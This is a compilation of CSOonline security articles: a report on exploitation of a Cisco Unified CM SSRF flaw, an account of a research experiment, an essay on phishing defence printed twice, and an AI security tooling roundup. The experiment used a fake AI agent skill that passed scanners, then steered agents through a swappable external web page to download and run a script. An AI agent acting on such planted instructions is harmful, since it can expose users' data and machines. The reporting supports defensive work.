CSOonline

A critical Cisco Unified CM vulnerability is now under active exploitation, weeks after the company issued patches warning it could allow attackers to gain root access. Threat intelligence firm Defused reported the exploitation on June 23. The company said it observed the activity over the weekend. “This is currently being exploited from a single source using an unvetted PoC, with genuinely-formatted file:// file-write payloads landing on our decoys,” Defused said on X. The flaw is tracked as CVE-2026-20230 and carries a CVSS base score of 8.6. Cisco published the advisory and patches on June 3, when it stated it was not aware of any malicious use of the vulnerability at the time of disclosure. “This vulnerability is due to improper input validation for specific HTTP requests,” Cisco said in the advisory. “An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device.” The flaw could allow an unauthenticated, remote attacker to “conduct server-side request forgery (SSRF) attacks through an affected device,” the advisory said. A successful exploit could let the attacker write files to the underlying operating system and elevate privileges to root, it added. No prior record of exploitation Defused said the weekend activity was the first exploitation of the flaw it had recorded. “No previously recorded exploitation, and not yet listed in CISA KEV,” it wrote in the X post. Weeks before Defused reported the attacks, Cisco had acknowledged in its advisory that proof-of-concept exploit code for the flaw was already available. The Cisco Product Security Incident Response Team (PSIRT) was not aware of any malicious use of the vulnerability when the advisory was published, the company said. Cisco did not immediately respond to a request for comment. WebDialer service must be enabled The flaw affects Cisco Unified CM and Unified CM SME products widely used by enterprises to manage voice, video, messaging, mobility, and conferencing services across corporate environments. The company said the flaw can be exploited remotely if the targeted system is running a vulnerable software release and has the WebDialer service enabled. “WebDialer is disabled by default,” Cisco noted in the advisory. Cisco said it found no workaround that would completely address the vulnerability. “There are no workarounds that address this vulnerability,” the company said in its advisory. “However, as a mitigation, administrators may disable the WebDialer service until a patch can be applied.” Researcher details the file-write chain The flaw was reported to Cisco by an independent security researcher working with SSD Secure Disclosure, Cisco said. While Cisco’s advisory describes the issue as an SSRF vulnerability, SSD’s analysis indicates that multiple weaknesses can be combined to achieve a broader compromise of an affected system. “The CUCM product faces a few vulnerabilities that when bundled together allow a remote attacker to gain the ability to write arbitrary files on the server, which in turn allow an unauthenticated attacker to execute code,” SSD Secure wrote in a technical write-up. SSD said the attack chain begins with an SSRF vulnerability and can be leveraged to write arbitrary files to the server. According to the disclosure, those file-write capabilities can then be used to execute code on the affected system. Patching and mitigation Cisco said there are no workarounds that address the vulnerability and advised customers to upgrade to fixed software releases. The company said the fix for the Cisco Unified CM and Unified CM SME 14 release train is 14SU6, and for the 15 train, the fix is in 15SU5, due in September 2026, or in an interim COP patch. Neither Cisco nor Defused has publicly attributed the attacks to a specific threat actor, released indicators of compromise, or disclosed whether any organizations have been successfully compromised through exploitation of the flaw. View the full article

A fake AI agent skill that passed security checks reached over 26,000 users through Instagram, highlighting new risks as enterprises rely on AI-driven tools. Some of the agents involved were tied to corporate accounts, AIR said. The company said a similar attack could have exposed private conversations and internal systems. AIR said no agents were harmed in the research and that the test payload collected only users’ email addresses so they could be notified. The experiment centered on a skill called brand-landingpage, which was presented as a tool for helping users build a landing page with Google’s Stitch design tool. AIR said it chose the use case because it would appeal to non-technical corporate users, including marketers, salespeople, and designers. To make the skill appear credible, AIR said it sought two trust signals: GitHub reputation and safe verdicts from security scanners. Rather than building credibility from scratch, it submitted the skill to a popular open-source agents repository that AIR said had about 36,000 GitHub stars and 156 skills. The pull request was merged after a few days. AIR then promoted the skill through an Instagram ad, which drove users to install and run it. The malicious technique did not depend on suspicious code inside the submitted files. Instead, the skill instructed agents to set up a Stitch SDK by following installation instructions hosted at stitch-design.ai, a domain controlled by AIR. Google’s actual Stitch domain is stitch.withgoogle.com. AIR said it configured the fake domain to redirect to the real Stitch site, making the issue difficult to detect from a static review of the skill alone. “Current skill security scanners all share the same design – they analyze the skill’s SKILL.md and bundled resources, using a combination of static heuristics and LLM agents,” AIR said. The company said it tested the skill against scanners from Cisco, Nvidia, and skills.sh, and that all marked brand-landingpage as safe. Once the skill had gained distribution, AIR changed the content behind the fake Stitch documentation. The revised page instructed agents to download and run a script. In AIR’s test, that script collected the user’s email address, but the company said the same approach could have been used to compromise machines running the agent. AIR said the experiment showed that AI agent skills cannot be assessed only by scanning their packaged files at the time of approval or installation. The issue, it said, is that a skill can pass review while still pointing an agent to a web page that changes later. AI skills pose dependency risk For security teams, the concern is not only that the skill passed review, but that its behavior could change after trust had already been granted. The test suggests CISOs may need to treat AI skills as part of the enterprise software supply chain, rather than as simple prompts or text files, according to cybersecurity researcher Devashri Datta. “Treating agent skills as mere text or prompts is a fundamental architectural misunderstanding,” Datta said. “They are executable instruction bundles that dictate how an agent operates, interacts with enterprise systems, and routes data, and they must be governed with the same rigor as third-party open-source packages or SaaS integrations.” Keith Prabhu, founder and CEO at Confidis, said AI agent skills should be treated as “living third-party dependencies,” rather than static plugins. “A one-time security scan is no longer sufficient; enterprises need continuous validation and strict runtime controls,” Prabhu said. That starts with an enterprise-wide AI skills inventory that gives security teams clear ownership records and visibility into each skill’s external connections and permitted data flows. The case also underlines why point-in-time static scanning is poorly suited to LLM-orchestrated environments, Datta said. The skill passed the scanners because the payload sat behind a mutable external URL that was changed after distribution, rather than inside the submitted package. Runtime checks become critical Enterprises should require version pinning and immutable reference tracking for any skill that fetches external instructions or software components, according to Datta. Such content should be localized, tied to a cryptographic hash, and hosted within an enterprise-controlled environment. Security teams should also enforce least privilege at the agent level, so a skill does not inherit the full data access rights of the user running it. Prabhu said security leaders should assess AI agent skills throughout their lifecycle, not only when they are first approved. Enterprises should limit employees to approved marketplaces and pre-approved skills, validate external URLs referenced by those skills, and test installation behavior in a sandbox before deployment. At runtime, network calls should be restricted to approved domains and monitored for unusual activity, Prabhu added. That layer is critical because a skill that appears safe at installation can change behavior after it has already been trusted. View the full article

Security awareness training as a defense against phishing is dead. It has been dead for a while. The industry never held a funeral because the training budget is comfortable, the compliance box gets checked and no CISO wants to tell the board that the program everyone funds does not work. The premise was simple. With enough education, users would learn to spot the tells. Misspelled words. Awkward phrasing. Sender domains that looked almost right. URLs that revealed something suspicious on hover. We trained a generation of employees to play Where’s Waldo with their inbox, scanning for the one visible artifact that would mark a message as malicious. Those artifacts are gone. AI-generated attacks are fluent. The infrastructure behind them looks legitimate. The surface signals we trained users to rely on no longer exist. Even if they did, the model would still depend on something humans cannot deliver. Sustained vigilance across hundreds of messages a day, every day, with one lapse leading to compromise. No human attention system works that way. If user attention is not the answer, what is? Kahneman applied to organizations, not individuals Most discussions of phishing lean on author Daniel Kahneman’s System 1 and System 2. Fast thinking is automatic and easy to fool. Slow thinking is deliberate and more accurate. The conclusion is always the same. Train people to slow down. The framing is true about cognition and incomplete as a security strategy. It asks individuals to sustain behavior that breaks under real conditions. The more useful application is at the organizational level. Every company has processes that run fast and processes that run slow. The difference is not accidental. Fast processes are the ones where trust has already been granted and friction has been removed. Wire transfers between known parties. Vendor banking updates. Calendar invites accepted without inspection. Help desk verification over the phone. Slow processes are the opposite. Trust is being established in real time. Employee logins with conditional access. New vendor onboarding. Any interaction with someone outside the organization. Most companies did not design this split deliberately. It emerged over time. Someone removed friction because it helped the business move faster. Often, that decision made sense at the time. The threat landscape that justified it no longer exists. Attackers understand this better than we do. They map where the fast paths are. They wait for moments where scrutiny is minimal. Then they step directly into those lanes. The Nexus pass as a security primitive Border control solved a problem that security still struggles with. Uniform scrutiny does not work. Check everyone the same way and movement stops. Check no one and the border disappears. The solution was risk-tiering. Pre-vetted travelers earn a fast lane based on evidence. Everyone else goes through full inspection. The trust is continuously verified and can be revoked the moment new information appears. The fast lane is not a flaw. The full check is not overkill. Both exist because the system asks the right question. Not whether to trust or verify, but which interactions deserve speed and what evidence supports that decision. Apply that lens to an enterprise and the gaps become obvious. Which processes are running on a fast lane that no longer make sense? A vendor whose banking details change over email. A supplier using a typosquatted domain that slips through. A calendar invite from a name that looks familiar enough. An API credential tied to a vendor that has not been active in years. Each of these is a fast path. Each one has been exploited at scale by attackers who know the assignment was never revisited. The answer is not to slow everything down. That is the same mistake as awareness training, just applied to processes instead of people. It would destroy productivity and still fail to stop attacks. The real work is targeted. Identify which fast paths were built on outdated assumptions. Re-tier those. Pull the fast lane from the processes that no longer deserve it. Leave it where it still holds. The trust inversion no one wants to admit This leads to a harder question about architecture. Over the last decade, we applied zero trust to employees and standing trust to suppliers. Employees authenticate constantly. They deal with device checks, session limits and conditional access. Suppliers send a SOC 2 report once and receive long-lived access to critical systems. That asymmetry deserves scrutiny. Suppliers are often the path of least resistance for attackers. They hold legitimate credentials. They have access across systems. Many major breaches over the past five years started with a compromised vendor account that was already trusted. SOC 2 does not solve this. It measures internal control discipline. It answers whether a company follows its processes. It does not tell you whether that company is secure right now. Yet many organizations treat it as if it does. They make high-stakes access decisions based on a document that was never designed to answer that question. Compliance automation has made this worse. It turned an annual exercise into a continuous one without changing what is being measured. The bar stayed the same. We just got faster at producing evidence that it was met. A clean report next to a vendor with an old, compromised credential still active in production is not an edge case. It is a common state. What deliberate design actually looks like The work ahead is not glamorous. It will not show up neatly on a dashboard. Start by mapping processes across the organization. Identify which ones run fast and which run slow. For every fast path, ask three questions. What evidence originally justified the speed? Does that evidence still hold given current attacker capability? If you remove the fast lane, is the cost lower or higher than the expected impact of a breach tied to that process? When the evidence no longer holds and the cost of change is lower than the potential loss, the assignment needs to change. That change will have a cost. Vendor updates that took seconds may take minutes. Help desk interactions may require secondary verification. Onboarding new suppliers may slow down. The case for accepting that cost is not that caution is good in theory. It is that the original speed was based on assumptions that no longer apply. The efficiency was borrowed from a future failure. If you cannot explain why a process still deserves a fast lane, you are not making a business decision. You are accepting risk without acknowledging it. This is what it means to design deliberately. Not forcing everyone to slow down, but making conscious decisions about where speed belongs and where scrutiny is required. Revisiting those decisions as conditions change. Removing fast lane status, the moment it is no longer justified. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Security awareness training as a defense against phishing is dead. It has been dead for a while. The industry never held a funeral because the training budget is comfortable, the compliance box gets checked and no CISO wants to tell the board that the program everyone funds does not work. The premise was simple. With enough education, users would learn to spot the tells. Misspelled words. Awkward phrasing. Sender domains that looked almost right. URLs that revealed something suspicious on hover. We trained a generation of employees to play Where’s Waldo with their inbox, scanning for the one visible artifact that would mark a message as malicious. Those artifacts are gone. AI-generated attacks are fluent. The infrastructure behind them looks legitimate. The surface signals we trained users to rely on no longer exist. Even if they did, the model would still depend on something humans cannot deliver. Sustained vigilance across hundreds of messages a day, every day, with one lapse leading to compromise. No human attention system works that way. If user attention is not the answer, what is? Kahneman applied to organizations, not individuals Most discussions of phishing lean on author Daniel Kahneman’s System 1 and System 2. Fast thinking is automatic and easy to fool. Slow thinking is deliberate and more accurate. The conclusion is always the same. Train people to slow down. The framing is true about cognition and incomplete as a security strategy. It asks individuals to sustain behavior that breaks under real conditions. The more useful application is at the organizational level. Every company has processes that run fast and processes that run slow. The difference is not accidental. Fast processes are the ones where trust has already been granted and friction has been removed. Wire transfers between known parties. Vendor banking updates. Calendar invites accepted without inspection. Help desk verification over the phone. Slow processes are the opposite. Trust is being established in real time. Employee logins with conditional access. New vendor onboarding. Any interaction with someone outside the organization. Most companies did not design this split deliberately. It emerged over time. Someone removed friction because it helped the business move faster. Often, that decision made sense at the time. The threat landscape that justified it no longer exists. Attackers understand this better than we do. They map where the fast paths are. They wait for moments where scrutiny is minimal. Then they step directly into those lanes. The Nexus pass as a security primitive Border control solved a problem that security still struggles with. Uniform scrutiny does not work. Check everyone the same way and movement stops. Check no one and the border disappears. The solution was risk tiering. Pre-vetted travelers earn a fast lane based on evidence. Everyone else goes through full inspection. The trust is continuously verified and can be revoked the moment new information appears. The fast lane is not a flaw. The full check is not overkill. Both exist because the system asks the right question. Not whether to trust or verify, but which interactions deserve speed and what evidence supports that decision. Apply that lens to an enterprise and the gaps become obvious. Which processes are running on a fast lane that no longer make sense? A vendor whose banking details change over email. A supplier using a typosquatted domain that slips through. A calendar invite from a name that looks familiar enough. An API credential tied to a vendor that has not been active in years. Each of these is a fast path. Each one has been exploited at scale by attackers who know the assignment was never revisited. The answer is not to slow everything down. That is the same mistake as awareness training, just applied to processes instead of people. It would destroy productivity and still fail to stop attacks. The real work is targeted. Identify which fast paths were built on outdated assumptions. Re-tier those. Pull the fast lane from the processes that no longer deserve it. Leave it where it still holds. The trust inversion no one wants to admit This leads to a harder question about architecture. Over the last decade, we applied zero trust to employees and standing trust to suppliers. Employees authenticate constantly. They deal with device checks, session limits and conditional access. Suppliers send a SOC 2 report once and receive long-lived access to critical systems. That asymmetry deserves scrutiny. Suppliers are often the path of least resistance for attackers. They hold legitimate credentials. They have access across systems. Many major breaches over the past five years started with a compromised vendor account that was already trusted. SOC 2 does not solve this. It measures internal control discipline. It answers whether a company follows its processes. It does not tell you whether that company is secure right now. Yet many organizations treat it as if it does. They make high-stakes access decisions based on a document that was never designed to answer that question. Compliance automation has made this worse. It turned an annual exercise into a continuous one without changing what is being measured. The bar stayed the same. We just got faster at producing evidence that it was met. A clean report next to a vendor with an old, compromised credential still active in production is not an edge case. It is a common state. What deliberate design actually looks like The work ahead is not glamorous. It will not show up neatly on a dashboard. Start by mapping processes across the organization. Identify which ones run fast and which run slow. For every fast path, ask three questions. What evidence originally justified the speed? Does that evidence still hold given current attacker capability? If you remove the fast lane, is the cost lower or higher than the expected impact of a breach tied to that process? When the evidence no longer holds and the cost of change is lower than the potential loss, the assignment needs to change. That change will have a cost. Vendor updates that took seconds may take minutes. Help desk interactions may require secondary verification. Onboarding new suppliers may slow down. The case for accepting that cost is not that caution is good in theory. It is that the original speed was based on assumptions that no longer apply. The efficiency was borrowed from a future failure. If you cannot explain why a process still deserves a fast lane, you are not making a business decision. You are accepting risk without acknowledging it. This is what it means to design deliberately. Not forcing everyone to slow down, but making conscious decisions about where speed belongs and where scrutiny is required. Revisiting those decisions as conditions change. Removing fast lane status, the moment it is no longer justified. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow. Moreover, where an organization sits on the AI maturity curve impacts its security needs. Trail of Bits CEO Dan Guide describes the AI journey as a migration from AI-assisted, where AI tools are used on existing workflows; through AI-augmented, which uses new workflows based on AI; to the AI-native organization, where AI “becomes a core participant in the delivery and operations of a business.” Those three stages require very different approaches to securing AI. They also present challenges for AI security vendors, whose platforms must fit in multiple places in a corporate network and interact with a broad spectrum of applications — especially as agentic AI expands. As analyst David Linthicum recently posted, “the conversation now has to shift from model fascination to operational discipline. The question is how those agents should be governed once they begin touching workflows that affect customers, employees, suppliers, compliance, and revenue.” Making matters worse is that the average enterprise manages 37 agents, with more than half running without security oversight or logging, according to Microsoft’s 2026 Cyber Pulse report, which also found that, while 80% of Fortune 500 companies use active AI agents, only 10% have a clear strategy for managing them. That lack of strategy also opens the door for attackers to abuse corporate AI systems for malicious purposes, as the recent exploit of Meta’s account recovery using chatbots demonstrated. The trick to securing AI systems is in understanding how much protection is needed and where it should be applied in the expanding AI universe. While one could rent a well-meaning AI agent called Sentry for $7,400 per month to automate the daily work of a SOC analyst, many organizations rolling out AI across their business would be best served by considering AI security posture management (AI-SPM) tools. Over the past two years, this emerging field has matured, with many security vendors incorporating or acquiring SPM features as part of their general security product portfolio. Some vendors, such as SentinelOne and Concentric, don’t specifically sell AI-SPM per se, but offer an SPM tool that is part of a larger package of AI security services. Others offer AI-SPM in conjunction with their other SPM tools or CNAPP security offerings. Some vendors, such as Cyera and Palo Alto, offer multiple AI-SPM packaging alternatives with differing feature sets. Choosing the right product requires careful examination of the roster of features and integrations each product offers to ensure that it doesn’t duplicate existing security tooling or worse, leave important coverage gaps. Here we take a deeper look at the AI-SPM product category, with a breakdown of offerings from 14 of the leading vendors in this increasingly important security ecosystem. AI security posture management explained AI security posture management is an evolving cybersecurity discipline focused on ensuring the integrity and security of AI and machine learning systems. AI-SPM encompasses strategies, tools, and techniques for monitoring, assessing, and enhancing the security of AI models, data, pipelines, applications, and services, even as threats to those entities continually evolve. In the past, security posture management tools were designed for two situations: to protect general cloud operations against misconfigurations and abuse, which is the province of cloud security posture management tools; and to protect against data leakage or malware infections, which is the province of data security posture management tools. With the rise of AI and large language models (LLMs), a third SPM product category is needed to check AI cloud services and their SDKs (like Hugging Face Transformers or Azure Open AI SDK) to prevent model abuses. This is because numerous studies have documented how AI training data can be the subject of an attack or how bad data can be injected into models to manipulate results, including creating malicious backdoors for attackers to use to enter your enterprise. The latest reports about attacks on AI and AI abuse can help you better understand the scope of security challenges rapidly evolving today. MITRE continues to enhance its comprehensive database of adversary tactics — Adversarial Threat Landscape for Artificial-Intelligence Systems (ATLAS) — based on real-world attack observations. ATLAS currently spans 170 techniques and 57 case studies. MIT researchers also maintain a growing database of more than 1,700 AI-related risks that they have observed from various AI sources. Another great source of AI-related attack methods is from the Open Worldwide Application Security Project (OWASP), which maintains a Top 10 list of LLM exploits. Security managers should examine them before choosing any AI-SPM product. They should also consult Richard Stiennon’s Guardians of the Machine Age, the most comprehensive collection of general security vendors, listing more than 100 AI security vendors. The printed book offers a deeper dive into the specifics of these tools. The AI-SPM vendor landscape is quickly evolving, as incumbent security vendors have made numerous acquisitions. Palo Alto Networks bought Protect.ai last year; Cato Networks acquired Aim.security; Orca acquired Opus for AI agentic security; SentinelOne acquired Prompt.Security; Varonis acquired a variety of companies, including Cyral, SlashNext, and AllTrue.ai; and Google acquired Wiz. Why enterprises need AI-SPM AI-SPMs have been designed to protect enterprise networks and applications from a range of threats to AI systems. Just like no modern business would assemble a network without an appropriate firewall, AI-SPMs “ensure that AI models stay explainable, fair, accountable, transparent and equitable,” Forrester analyst Andras Cser tells CSO. “Further good security hygiene dictates that AI infrastructure should not be allowed to be used as a steppingstone for hackers for lateral movement and data exfiltration, and should include policies to prevent and fix configuration drift.” AI-SPM can also help organizations standardize on a series of AI policies, procedures, tools, and workflows that can boost their security. Guido’s talk — linked above — is chock full of suggestions on how Trail of Bits accomplished this. Major AI-SPM trends and product features All AI-SPM vendors make use of agentless configurations, accessing cloud-based models and leaving data on their existing platforms. This is both a security measure and to avoid moving the massive data repositories involved across the internet. AI-SPM vendors also make use of AI-related mechanisms to classify and track these vast data collections and to protect them against potential abuse and attack. Many have integrated their AI-SPM solutions in one of three directions: Bolting AI-SPM onto their existing cloud or data SPM platforms with rules, compliance checking, best practices, and protection policies that bridge all three types of security postures. Stitching AI-SPM into their general AI security product that can be used to formulate AI-specific policies and perform AI-based red team and penetration testing in an effort to protect AI pipelines and workloads and uncover ways that shared AI services and platforms could be compromised. Incorporating AI-SPM to help identify sensitive data referenced by an AI model and to examine training data exposed to a third-party or external application. Some vendors, especially established security vendors such as CrowdStrike, Proofpoint, Palo Alto, Varonis, and Wiz, have hundreds of third-party integrations that cover the AI waterfront (such as AI assistants and model suppliers) and general IT security arena (such as development pipelines, data feeds, and tools such as SOAR and SIEM). All three types of integrations can provide better guiderails and limit an AI’s blast radius. But AI-SPM is still evolving. Some vendors’ tools just perform a top-level inspection of one or two services from each of the big three cloud platforms’ AI services (Amazon, for example, has dozens of AI-related service offerings), whereas others (such as Palo Alto Networks, Cato, Cyera, Varonis, and Wiz) take a deeper dive, performing a more comprehensive examination of AI data from the AI vendors themselves and other model sources. There are two open source efforts as well: Orca’s GOAT is a free learning platform that is based on the OWASP top 10 risks. Palo Alto’s Protect.ai has its collection of open-source tools on GitHub for scanning models and discovering AI interactions and automated red teaming called ProtectAI OSS. However, neither of these projects has been recently updated. How to choose an AI-SPM tool Here are several considerations when deciding on the best AI-SPM tool for your enterprise: Does the vendor work with your existing security tool collection? This has two dimensions: integrating with other SPM products (such as data or cloud protection), and integrating with third-party tools such as SOARs, SIEMs, or DLP products. We have included some vendors that don’t have a specific AI-related SPM (such as Concentric and CrowdStrike) but have deeply embedded AI protection into their platforms. How deep is the coverage across the cloud platform providers? The big three (AWS, Azure, and GCP) have many services that touch various aspects of AI, and some products only work with a few of them, or only connect with PaaS security “hubs.” Does the vendor continuously scan your infrastructure looking for vulnerabilities? AI can be quickly adopted and is very dynamic, so discrete scans are less useful. How important is having a tool that can help with AI red teaming? Understanding the dynamic nature of how AI operates means having a different approach to penetration testing, and this can be a very useful feature. Only a few vendors offer this feature (such as Concentric, Palo Alto Networks, and Varonis). Leading AI-SPM vendors and products We reached out to a range of leading AI-SPM security vendors to demonstrate their AI-related tools. Below are more details about each of the 14 we had the opportunity to preview. We have also summarized each vendor’s offerings in the features table, which also provides links, when available, to pricing and third-party integration details. Several vendors didn’t respond to our inquiries, including Baffle.io, Invicti, SecurityCompass, Tonic Security, and Zscaler. VendorProduct/URLEntry-level pricingPackagingIntegrations linkApp runtime securityContinuous scanning?MCP/Agent protection?AI Red Teaming?Arthur.aiArthur PlatformFree and paid versionsSingle productDeep PaaS coverageYesYesYesNoCato NetworksAI Security for End UsersSASE platformNumerousYesYesYesNoConcentricNo specific AI-SPM productAWS $50,000/yr, variesPart of its DSPM platformNumerousNoYesNoYesCrowdStrikeNo specific AI-SPM productPart of Falcon AI platformNumerousYesYesYesSeparate serviceCyeraAI GuardianAWS $50,000/yrSold in two bundles, see descriptionNumerousYesYesYesNoGuardrail TechnologiesTraffic Light for Code and AIFree and monthly plansAlso sell AI Command CenterSomeYesYesNoNoMicrosoftPurview$12.60/user/moPart of larger CSPM platformSomeYesNoYesNoOneTrustAI GovernanceSubscriptionsSingle product with SPM featuresSomeYesYesNoNoOrca SecurityAI-SPMAWS $84,000/yrHas other AI security toolsNumerousYesYesYesNoPalo Alto NetworksPrisma AI SecuritySold in two bundles, see descriptionNumerousYesYesYesYesProofpointAI Access SecurityAWS $96,000/yrPeople Protection PlatformNumerousYesYesYesNoSentinelOneNo specific AI SPM product$80/yr/endpointPart of larger Singularity platformNumerousYesYesYesYesVaronisAtlasAWS $108,000/yrBundled with AI InventoryHundredsYesYesYesYesWiz/GoogleAI App Protection PlatformAWS $38,000/yrVariety of bundles availableNumerousYesYesYesNo Arthur.ai Arthur.ai’s platform is a single product that offers deep PaaS coverage with both AWS and Google Cloud Platform, although unlike other AI-SPMs it doesn’t offer a wide range of third-party integrations. It includes application runtime security protection. It also scans network traffic continuously and watches for agent activity, along with policy guardrails to protect against prompt injection and sensitive data leakage. It includes behavioral analytics and governance that catch abusive agentic activities. There are free and paid versions starting at $10,000 annual plans for smaller networks. Cato Networks AI Security for End Users Cato Networks AI Security for End Users is one of three separate AI security packages that work together with Cato’s SASE platform, the other two being protection for applications (both runtime and across the software development lifecycle) and for real-time agentic operations. The three AI packages are meant to be purchased together to provide audit trails showing what users are doing with their AI tools and to help understand and illustrate the risks. Cato’s tools can also prevent prompt injection and data leaks and find compliance blind spots. Its platform has a wide collection of third-party integrations, including CrowdStrike, Microsoft, and Splunk SIEMs, and various data sources such as Google’s Chronicle and Rapid7. Cato Networks did not reveal pricing. Concentric AI and Data Security Governance Concentric sells a DSPM platform labelled “AI and Data Security Governance.” There is no specific AI tool, although AI pervades its product in a variety of places, including scanning various models for prompt injection, automated remediation, and the discovery and classification of data flows. It offers a wide collection of third-party integrations. On the AWS Marketplace, it sells an entry-level version for $50,000 per year that covers up to 25TB of data, with higher fees for larger data collections. CrowdStrike Falcon AI-SPM CrowdStrike Falcon AI-SPM is not a separate product, but part of the overall Falcon Cloud security platform. It can correlate risk findings with other security services monitored by the full Falcon platform. It includes discovery of AI services and models across a variety of cloud platforms, including containers and virtual images, and can detect misconfigurations and dependencies with other software. It scans OpenAI, Amazon Bedrock, Amazon SageMaker, and Vertex AI models. Falcon has more than 250 integrations available to a wide collection of third-party security tools. You can request a free 15-day trial, but no further pricing information was disclosed. Cyera AI Guardian Cyera.io specializes in data file level classification. It packages its AI-SPM product in two separate bundles: either with its flagship DSPM product that has added what you might think of as AI-enriched data link protection as part of the default product’s features, or with a more complete set of security features called AI Guardian. Cyera also offers a specialized add-on module used for Microsoft Copilot data scanning that can detect data used by insiders, for example. Cyera’s AWS Marketplace pricing can be found here and starts at $50,000 per year. Guardrail Technologies Traffic Light for Code and AI Guardrail Technologies Traffic Light for Code and AI is designed to be a simple way to flag potential AI abuse by scanning AI-generated code and returning a red/yellow/green result to indicate potential for compromise. There is no remediation, but the tool integrates across the major AI vendors, including Anthropic, Azure Open AI, Hugging Face, and AWS Bedrock, and general security tools such as Wiz and Snyk. Guardrail has a custom AI security consulting business as well called AI Guardian. Very transparent pricing page and a 60-day free trial is available. Microsoft Purview Microsoft has bundled its various security posture tools into its Purview offering, which includes a series of AI-based Copilot apps, data SPM and classification tools, and data loss prevention extensions tuned to its various SaaS platforms such as 365, Azure, and Windows endpoints. This extends the AI security features that were originally part of its Defender for Cloud offerings. It has a limited number of third-party integrations. One-month free trials are available, and the entire suite is available for $12.60 per month per user. Microsoft has stepped up its involvement with AI with its Scout, a collection of autonomous AI agents built on top of OpenClaw. It is designed to work with its applications, using built-in security and privacy controls. OneTrust AI Governance OneTrust offers AI Governance, a platform that automates compliance and provides continuous monitoring of the AI landscape, across the software lifecycle starting with any AI usage at the beginning of any build. It can detect policy violations, and which AI agents are running. It offers a series of third-party integrations such as Amazon’s Bedrock and Sagemaker; Azure Foundry, ML Studio, and OpenAI; Databricks Unity Catalog and ML flow; and Google Vertex. Its subscription price is based on the number of admin users and number of AI inventory records, although no specifics were provided. Orca AI-SPM Orca Security’s AI-SPM is tightly integrated into the company’s security platform. It continues to expand its features, offering detections of more than 50 AI models, including training data and runtime threats, remediation, and support for Model Context Protocol to connect to other Orca-based telemetry. It continues to expand its nearly 100 integrations across SIEM and SOAR systems and various cloud providers’ services. For example, it works with AWS S3, SQS, SNS, CodeBuild, CloudTrail, and Security Hub. It comes with dozens of best-practice security rules that initially focused on compliance. It also alerts when sensitive data is detected inside models and when secrets are exposed. Orca’s overall security platform shows an AWS Marketplace annual pricing that ranges from $84,000 to $360,000, depending on the number of workloads scanned. Palo Alto Networks AIRS AI Security Palo Alto Networks has been busy acquiring point security vendors (Dig, ProtectAI, and an offer on Portkey) and incorporating their code into its two major product lines, Prisma and Cortex. You can purchase AI-SPM functionality in either Palo Alto product line, but they cover different aspects of the AI ecosystem. Cortex offers AI-SPM alongside the data and cloud SPMs integrated into the CNAPP suite. Prisma offers AI-SPM as part of a total AI security package called AIRS AI Security, which includes runtime protection, model scanning, and a more comprehensive platform. We focus on AIRS AI, which supports top-level scans of Amazon, Google Cloud, and Azure AI services to discover AI content and can classify and examine model data and secrets and comes with many built-in AI-related policies. Prisma has a long list of third-party integrations, including significant depth in AWS security services. That link will also take you to detailed instructions on how to set up these integrations. To complicate matters further, Palo Alto also sells a separate Prisma secure browser extension that works with these products to protect your endpoints, and that originated from technology it purchased from Talon Cyber Security in 2023. While pricing was not disclosed, our estimate is that AIRS will cost in the low six figures annually. Proofpoint People Protection Platform Proofpoint includes a general AI security product as part of its People Protection Platform that covers a wide range of protective services integrated across its other non-AI security tools. It provides runtime inspection of potential AI misconfigurations, as well as policies that include detection of agent, tools, and MCP connections, and it can generate forensic audits of AI interactions. Proofpoint’s general security platform starts at $96,000 annually on AWS Marketplace. It has several integrations with third-party services across the major cloud platform providers. SentinelOne Singularity Platform SentinelOne’s Singularity platform offers several AI protective features, including misconfiguration detection, attack path analysis, automated AI inventory and remediation, and integration with a variety of AI PaaS platforms such as Azure OpenAI, Google’s Vertex AI, and various AWS services. It is bundled within the company’s Cloud Native Security tool. Some of these features originated with Singularity’s purchase of Prompt.Security. Access to all the features requires purchasing the enterprise edition, which is offered with custom pricing, but lower feature tiers are available for $80 per year on this public pricing page. There are also numerous integrations with its Marketplace. Varonis Atlas AI Security Varonis Atlas AI Security is a multipurpose security platform that offers a variety of modules, including red team/penetration testing, compliance, and third-party risk management. Its AI-SPM module is combined with an AI inventory scanner and can be used to help development teams classify data used in the AI ecosystem, such as scanning for bad AI behavior, leveraging identities improperly, and examining data flows. Automated remediation processes are built into the tool as well. There are several hundred third-party integrations available for a wide collection of security tools, such as JFrog, Jira, Okta, and Salesforce. Varonis has two pricing components; one based on per user and per protected application and an additional price for resource consumption. Atlas is sold on the AWS Marketplace starting at $108,000 per year and free risk assessments are available to qualified customers. Wiz/Google AI Application Protection Platform Google has acquired Wiz but kept its operation independent. It has a multipurpose security platform that comes from a strong posture management (cloud and data) background. Its advanced version has been augmented with a comprehensive AI-related series of policies, detection algorithms, and pipeline, model, and data scanners. These are assembled into a separate AI dashboard page. It can also detect AI pipeline abuses, protect AI runtimes, identify and classify tools and agents, map dependencies graphically and suggest remediation steps. It also contains core AI-SPM features such as discovery, attack path analysis, and supply chains. Pricing for the Wiz Advanced bundle on AWS Marketplace is $38,000 annually. What about AI-SPM pricing? Pricing and packaging of AI-SPM tools vary widely. Many vendors offer free trials limited to differing periods (an option that is also available on the AWS Marketplace). We pointed out the open-source alternatives earlier, which is also a good way to see how the products work, but we wouldn’t recommend relying on these tools given their lack of recent updates. The only vendors that have (mostly) transparent pricing are Guardrail Technologies (with both free and monthly plans) and SentinelOne (with various annual plans starting at $80 per endpoint). Most of the vendors didn’t want to provide pricing directly but have published pricing on the AWS Marketplace, which can give you a rough indication that most start in the low six figures for annual contracts. For a typical situation with 1,000 users the total could be in the low six-figure range annually. View the full article

